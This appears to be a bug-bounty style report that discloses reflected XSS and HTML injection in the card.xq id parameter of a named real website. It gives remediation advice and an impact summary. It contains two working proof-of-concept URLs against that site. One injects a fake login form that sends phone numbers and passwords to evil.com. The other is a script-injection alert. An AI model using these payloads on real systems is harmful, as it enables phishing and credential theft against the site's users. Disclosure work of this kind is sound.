xss and html injection on ( https://labs.history.state.gov)

How it was found

Summary:

there's possible xss and html injection on your website https://labs.history.state.gov through /card.xq?id= parameter because your web did not sanatize user input and you have vulnerable JavaScript libraries jQuery 1.11.3

Steps To Reproduce:

html injection P O C code

https://labs.history.state.gov/card.xq?id=%3C/title%3E%3Cbody%20style=%22background:%20green;%22%3E%3Cdiv%20class=%22container%22%3E%3Cform%20action=%22https://www.evil.com%22%20method=%22post%22%20class=%22form%22%20style=%22display:%20block;%22%3E%3Clabel%20for=%22pnumber%22%3Ephone%20number%20%3C/label%3E%3Cbr%3E%3Cinput%20type=%22tel%22%20name=%22pnumber%22%20id=%22pnumber%22%20value=%22%22%20placeholder=%22phone%20number%22%20maxlength=%2211%22inputmode=%22tel%22%20size=%2240px%22%3E%3Cbr%3E%3Clabel%20for=%22pword%22%3Epassword%3C/label%3E%3Cbr%3E%3Cinput%20type=%22password%22%20name=%22pword%22%20id=%22pword%22%20value=%22%22%20placeholder=%22password%22%20maxlength=%22200%22%20size=%2240px%22height=%22100px%22%3E%3Cbr%3E%3Cinput%20type=%22submit%22%20value=%22login%22%3E%3C/form%3E%3C/div%3E%3Cfont%20style=%22font-size:%20100px;color:%20red;%22%20class=%22welcome%22%3EWE%20ARE%20HACKERONE%3C/font%3E

xss P O C code

https://labs.history.state.gov/card.xq?id=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E

Remediation Guidance

1. you have to sanitize user input before using it
2. update your JavaScript libraries jQuery 1.11.3

Supporting Material/References:

[list any additional material (e.g. screenshots, logs, etc.)]

• [attachment / reference]

Impact

1.. since html is a web language attacker can use this to change complete page look to do phishing attacks to compromise users 2.. attacker can use this to execute malicious javascript in user browser